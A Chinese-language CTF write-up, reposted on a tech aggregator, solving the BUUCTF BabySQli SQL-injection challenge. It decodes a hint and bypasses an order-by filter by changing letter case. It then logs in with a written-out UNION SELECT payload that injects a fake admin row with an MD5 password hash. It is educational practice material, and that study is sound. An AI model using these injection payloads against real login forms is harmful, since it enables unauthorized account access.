IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> BUUCTF之[GXYCTF2019]BabySQli -> 正文阅读

[大数据]BUUCTF之[GXYCTF2019]BabySQli

题目
在这里插入图片描述
这题看到这个页面,而且题目上说的。给人的感觉就是个SQL注入题。。。。
启动BurpSuite抓包看看
在这里插入图片描述
有两个可疑点:

  • 一是报用户错误(wrong user!),通常如果有这种错误的时候要先爆破账号,得到正确的账号后再去爆破密码。
  • 这里返回的绿色部分明显是加密后的数据

首先提取绿色部分的信息,经过排查发现可以先base32解密,再base64
原数据:

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

先base32解密:

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

再base64解密:

select * from user where username = '$name'

看到这个SQL语句,果然是需要先爆破账号。。。
但实际上并不需要真的爆破账号,因为它的用户名就是:admin。这在许多CTF里很常见,因为它并不是真的要考爆破账号,所以它会设置一个常见的值。就好比是这个admin就很常见。
在这里插入图片描述
它返回了wrong pass!就表示可以进行下一步了。
接下来就是套路化的操作了,先通过order by来确定有多少列

name=admin' order by 1 %23&pw=123456

在这里插入图片描述
发现order by被过滤了,试试看大小写能不能绕过

name=admin' oRder by 1 %23&pw=123456

在这里插入图片描述
发现是可以的,所以:

  • name=admin’ oRder by 1 %23&pw=123456 (正常显示)
  • name=admin’ oRder by 2 %23&pw=123456 (正常显示)
  • name=admin’ oRder by 3 %23&pw=123456 (正常显示)
  • name=admin’ oRder by 4 %23&pw=123456 (报错显示)

所以可以确认该表中只有3列

那接下来就是爆破数据库了,但是经过测试发现它把括号()给过滤掉了。这咋整???函数基本都是要加括号的。。。。

然后上传找教程是说,这题可以通过union这个关键字创建虚拟表。
就好比我在自己的数据库中有个test的表,表里有6列。所以:

select * from users;

在这里插入图片描述
然后再通过union关键字生成虚拟的数据:

select * from users union select 1,2,3,4,5,6;

在这里插入图片描述
可以看到加上union关键字后会在第四行生成我们自己定义好的数据。为什么说是虚拟的呢?因为union产生的数据是临时的,在下次查询的时候就会发现它不见了(因为它没有实际保存在数据库中)。

而这题就是利用这个原理,一开始我们已经确定好了它的用户名为:admin。但是它的密码我们却不知道,这时我们可以通过union来创建一个虚拟的数据,然后再通过SQL语句来查询它。这样它就能正常返回值了。比如:

select * from users union select 1,'admin','your input password',4,5,6;

在这里插入图片描述
所以原题目的payload可以改成:

name=1' union select 1,'admin','123456' %23&pw=123456

但是却发现还是不能拿到flag,问题何在???
在这里插入图片描述
思路是对的,只是出题方不想你这么简单的拿flag。所以密码的那部分还加了md5加密。
正确的payload是:name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e' %23&pw=123456
在这里插入图片描述
其中的e10adc3949ba59abbe56e057f20f883e123456经过MD5加密后的值。
这个123456和后面的pw=123456对应




总结: 不得不说,那些第一次靠自己做出来这道题的大佬是真的厉害。通过他们我又学到东西了

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-10-04 12:55:11  更:2021-10-04 12:55:55 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 0:39:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码